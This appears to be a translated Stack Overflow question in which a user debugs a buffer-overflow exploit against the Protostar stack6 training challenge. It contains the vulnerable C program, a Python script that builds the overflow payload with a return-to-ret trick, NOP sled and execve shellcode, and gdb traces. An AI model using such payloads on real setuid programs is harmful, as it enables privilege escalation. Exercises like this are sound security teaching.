【发布时间】:2020-08-25 14:01:43
【问题描述】:
所以我正在做来自exploit exercises 的 protostar 挑战,我完全被难住了。 Protostar 在模拟 i686 处理器的虚拟机上运行。
uname -a
Linux protostar 2.6.32-5-686 #1 SMP Mon Oct 3 04:15:24 UTC 2011 i686 GNU/Linux
挑战涉及注入格式错误的用户提供的输入以允许 root 访问。可执行文件设置了 setuid 标志并拥有所有者 root。我通过/tmp/mypipe中的命名管道提供我的输入
我在 gdb 中运行
set disassembly-flavor intel
run < /tmp/mypipe
当我在 RET 指令的 getpath() 函数末尾设置断点并向前迈出一步时,一切都按预期工作。我的 shellcode 被执行。我确认这些说明与the source 的文档完全相同。 (使用带有x/2i $eip 的停止钩子并单步执行汇编程序)。在 noop sled 和前几条指令中一切正常,直到中断 0x80(系统调用)(0xcd 0x80)。
有趣的是gdb宣布:
执行新程序:/bin/dash
程序收到信号SIGSEGV,分段错误。
之后就没有任何效果了。使用相同的输入再次运行它只是段错误。尝试disassemble main 产生No symbol "main" in current context.
一旦我关闭 GDB 并重新启动,它会提供与以前相同的行为。实际上,没有任何 shell 是可交互的。从命令行使用相同的有效负载只会产生段错误。
我已经尝试了许多使用 msfvenom 制作的有效载荷,所有这些都适用于具有不同编码器的 x86 linux,禁止 0x00、0x0a 和 0x0d。我尝试将小的有效负载放入缓冲区,我尝试将它们放在主堆栈帧的返回地址后面及以后。我尝试的一切都给了我一个段错误。我很困惑为什么这不起作用。这可能与在堆栈上覆盖 EBP 然后返回两次有关吗?但是LEAVE 不会执行两次,只会执行RET。
发生了什么事?
挑战代码如下:
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>
void getpath()
{
char buffer[64];
unsigned int ret;
printf("input path please: "); fflush(stdout);
gets(buffer);
ret = __builtin_return_address(0);
if((ret & 0xbf000000) == 0xbf000000) {
printf("bzzzt (%p)\n", ret);
_exit(1);
}
printf("got path %s\n", buffer);
}
int main(int argc, char **argv)
{
getpath();
}
程序逻辑禁止跳转到堆栈。所以很明显你必须跳到别的地方。
我的想法是跳转到getpath()末尾的RET指令,基本上是从堆栈中弹出另一个未被程序逻辑检查的地址到EIP中。
原来从栈顶buf开始到栈上返回指针的第一个字节有80B。
我用于生成格式错误的输入的代码如下所示。
# execenv 28B from http://shell-storm.org/shellcode/files/shellcode-811.php
buf = b""
buf += b"\x31\xc0\x50\x68\x2f\x2f\x73"
buf += b"\x68\x68\x2f\x62\x69\x6e\x89"
buf += b"\xe3\x89\xc1\x89\xc2\xb0\x0b"
buf += b"\xcd\x80\x31\xc0\x40\xcd\x80"
# start of buffer = 0xbffff64c
# EIP return on stack = 0xbffff69c
# difference = 80 B
padding = "A"*80
# use noop sled to avoid changing environment variables etc to mess with alignment
noop = (b"\x90")*0x40
# addr of ret command (getpath function)
eip = b"\x08\x04\x84\xf9"
eip = eip[::-1]
# shell code position
eip2 = b"\xbf\xff\xf6\xb0"
eip2 = eip2[::-1]
print (padding + eip + eip2 + noop + buf)
注意:eip = eip[::-1] 反转字节顺序,因为 intel x86 是小端序。
编辑:
这是更详细的机器状态。
disassemble getpath
Dump of assembler code for function getpath:
0x08048484 <getpath+0>: push ebp
0x08048485 <getpath+1>: mov ebp,esp
0x08048487 <getpath+3>: sub esp,0x68
0x0804848a <getpath+6>: mov eax,0x80485d0
0x0804848f <getpath+11>: mov DWORD PTR [esp],eax
0x08048492 <getpath+14>: call 0x80483c0 <printf@plt>
0x08048497 <getpath+19>: mov eax,ds:0x8049720
0x0804849c <getpath+24>: mov DWORD PTR [esp],eax
0x0804849f <getpath+27>: call 0x80483b0 <fflush@plt>
0x080484a4 <getpath+32>: lea eax,[ebp-0x4c]
0x080484a7 <getpath+35>: mov DWORD PTR [esp],eax
0x080484aa <getpath+38>: call 0x8048380 <gets@plt>
0x080484af <getpath+43>: mov eax,DWORD PTR [ebp+0x4]
0x080484b2 <getpath+46>: mov DWORD PTR [ebp-0xc],eax
0x080484b5 <getpath+49>: mov eax,DWORD PTR [ebp-0xc]
0x080484b8 <getpath+52>: and eax,0xbf000000
0x080484bd <getpath+57>: cmp eax,0xbf000000
0x080484c2 <getpath+62>: jne 0x80484e4 <getpath+96>
0x080484c4 <getpath+64>: mov eax,0x80485e4
0x080484c9 <getpath+69>: mov edx,DWORD PTR [ebp-0xc]
0x080484cc <getpath+72>: mov DWORD PTR [esp+0x4],edx
0x080484d0 <getpath+76>: mov DWORD PTR [esp],eax
0x080484d3 <getpath+79>: call 0x80483c0 <printf@plt>
0x080484d8 <getpath+84>: mov DWORD PTR [esp],0x1
0x080484df <getpath+91>: call 0x80483a0 <_exit@plt>
0x080484e4 <getpath+96>: mov eax,0x80485f0
0x080484e9 <getpath+101>: lea edx,[ebp-0x4c]
0x080484ec <getpath+104>: mov DWORD PTR [esp+0x4],edx
0x080484f0 <getpath+108>: mov DWORD PTR [esp],eax
0x080484f3 <getpath+111>: call 0x80483c0 <printf@plt>
0x080484f8 <getpath+116>: leave
0x080484f9 <getpath+117>: ret
End of assembler dump.
(gdb) b *0x080484f9
Breakpoint 1 at 0x80484f9: file stack6/stack6.c, line 23.
(gdb) run < /tmp/mypipe
Starting program: /opt/protostar/bin/stack6 < /tmp/mypipe
input path please: got path AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[... bunch of gibberish that can't be printed as text]
Breakpoint 1, 0x080484f9 in getpath () at stack6/stack6.c:23
23 stack6/stack6.c: No such file or directory.
in stack6/stack6.c
(gdb) x /32wx $esp
0xbffff69c: 0x080484f9 0xbffff6b0 0x90909090 0x90909090
0xbffff6ac: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffff6bc: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffff6cc: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffff6dc: 0x90909090 0x90909090 0x6850c031 0x68732f2f
0xbffff6ec: 0x69622f68 0x89e3896e 0xb0c289c1 0x3180cd0b
0xbffff6fc: 0x80cd40c0 0x00000000 0x00000000 0x00000001
0xbffff70c: 0x080483d0 0x00000000 0xb7ff6210 0xb7eadb9b
如您所见,该函数跳过了 bzzz + exit,因为返回地址通过了检查。下一条指令是 ret,它返回到0x080484f9($esp 的栈顶)。哪个是ret。
向前迈出一步
(gdb) stepi
eip 0x80484f9 0x80484f9 <getpath+117>
esp 0xbffff6a0 0xbffff6a0
eax 0xbe 190
ebx 0xb7fd7ff4 -1208123404
0x80484f9 <getpath+117>: ret
0x80484fa <main>: push ebp
0xbffff6a0: 0xbffff6b0 0x90909090 0x90909090 0x90909090
0xbffff6b0: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffff6c0: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffff6d0: 0x90909090 0x90909090 0x90909090 0x90909090
Breakpoint 1, 0x080484f9 in getpath () at stack6/stack6.c:23
23 in stack6/stack6.c
还有一个
Cannot access memory at address 0x41414145
我不知道这是怎么回事,也不知道为什么挂钩没有触发,也不知道 0x45 是从哪里来的,但是
(gdb) i r
eax 0xbe 190
ecx 0x0 0
edx 0xb7fd9340 -1208118464
ebx 0xb7fd7ff4 -1208123404
esp 0xbffff6a4 0xbffff6a4
ebp 0x41414141 0x41414141
esi 0x0 0
edi 0x0 0
eip 0xbffff6b0 0xbffff6b0
eflags 0x200296 [ PF AF SF IF ID ]
cs 0x73 115
ss 0x7b 123
ds 0x7b 123
es 0x7b 123
fs 0x0 0
gs 0x33 51
如您所见,EIP 指向 noop 雪橇。
(gdb) x /60i $eip
0xbffff6b0: nop
0xbffff6b1: nop
0xbffff6b2: nop
[snip]
0xbffff6e2: nop
0xbffff6e3: nop
0xbffff6e4: xor eax,eax
0xbffff6e6: push eax
0xbffff6e7: push 0x68732f2f
0xbffff6ec: push 0x6e69622f
0xbffff6f1: mov ebx,esp
0xbffff6f3: mov ecx,eax
0xbffff6f5: mov edx,eax
0xbffff6f7: mov al,0xb
从那里它可以很好地执行到 int 80 的段错误。
(gdb) x /12i $eip
[skipping all the nops up to here]
0xbffff6e4: xor eax,eax
0xbffff6e6: push eax
0xbffff6e7: push 0x68732f2f
0xbffff6ec: push 0x6e69622f
0xbffff6f1: mov ebx,esp
0xbffff6f3: mov ecx,eax
0xbffff6f5: mov edx,eax
0xbffff6f7: mov al,0xb
0xbffff6f9: int 0x80
0xbffff6fb: xor eax,eax
0xbffff6fd: inc eax
0xbffff6fe: int 0x80
(gdb)
eip 0xbffff6f9 0xbffff6f9
esp 0xbffff698 0xbffff698
eax 0xb 11
ebx 0xbffff698 -1073744232
0xbffff6f9: int 0x80
0xbffff6fb: xor eax,eax
0xbffff698: 0x6e69622f 0x68732f2f 0x00000000 0x90909090
0xbffff6a8: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffff6b8: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffff6c8: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffff6f9 in ?? ()
(gdb)
Executing new program: /bin/dash
Program received signal SIGSEGV, Segmentation fault.
eip 0x805925e 0x805925e
esp 0xbffffcd0 0xbffffcd0
eax 0x3e9 1001
ebx 0xb7fd7ff4 -1208123404
0x805925e: mov ebx,DWORD PTR [esi]
0x8059260: test ebx,ebx
0xbffffcd0: 0x00000011 0x00000000 0x00000000 0xbffffd70
0xbffffce0: 0xbffffd28 0xbffffd34 0x00000000 0xb7fff8f8
0xbffffcf0: 0x00000000 0xb7ffc3e1 0xb7ffb8bc 0x08048bdd
0xbffffd00: 0x00000000 0xb7fe3494 0xbffffd44 0xb7fe3612
0x0805925e in ?? ()
(gdb) x /5i 0x805925e
0x805925e: mov ebx,DWORD PTR [esi]
0x8059260: test ebx,ebx
0x8059262: je 0x8059295
0x8059264: lea esi,[esi+eiz*1+0x0]
0x8059268: mov DWORD PTR [esp+0x4],0x3d
(gdb) i r
eax 0x3e9 1001
ecx 0xa 10
edx 0x805c340 134595392
ebx 0xb7fd7ff4 -1208123404
esp 0xbffffcd0 0xbffffcd0
ebp 0xbffffd98 0xbffffd98
esi 0x0 0
edi 0x0 0
eip 0x805925e 0x805925e
eflags 0x210282 [ SF IF RF ID ]
cs 0x73 115
ss 0x7b 123
ds 0x7b 123
es 0x7b 123
fs 0x0 0
gs 0x33 51
编辑 2:
我从文件而不是管道运行漏洞利用。我得到一个奇怪的结果。我仍然不知道该怎么做。
(gdb) run < /tmp/exploit
Starting program: /opt/protostar/bin/stack6 < /tmp/exploit
input path please: got path AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA�AAAAAAAAAAAA���������������������������������������������������������������������1�Ph//shh/bin����°
1�@̀
Executing new program: /bin/dash
Program exited normally.
Error while running hook_stop:
The program has no registers now.
【问题讨论】:
-
如何通过管道传递输入?请注意,shell 当然需要一个打开的标准输入,否则它将退出。不过不应该错。在故障处,检查进程是否被
dash替换,以及故障指令是什么。而不是disassemble main做类似x/i $eip的事情。 -
@Jester 在 GDB 我
run < /tmp/mypipe和在另一个终端 (ssh) 我运行/tmp/shellcode.py > /tmp/mypipe -
@Jester 在调用 Int 80 时我不能 x/i $eip 了,因为它会说“没有寄存器”或类似的东西。到那时,该程序已经死了。有趣的是我不能再反汇编函数了。
-
这不起作用,因为
/tmp/shellcode.py > /tmp/mypipe在打印漏洞利用后关闭了管道。仍然不应该崩溃。此外,在您有机会检查寄存器之前,您的程序不应该神奇地死掉。当 gdb 打印出您遇到段错误时,您的进程应该仍然存在。发布 gdb 终端日志。 -
看来我错了。我更新了问题。我将尝试将输入路由到文件中并将其作为输入加载到 gdb 中。
标签: c assembly x86 gdb buffer-overflow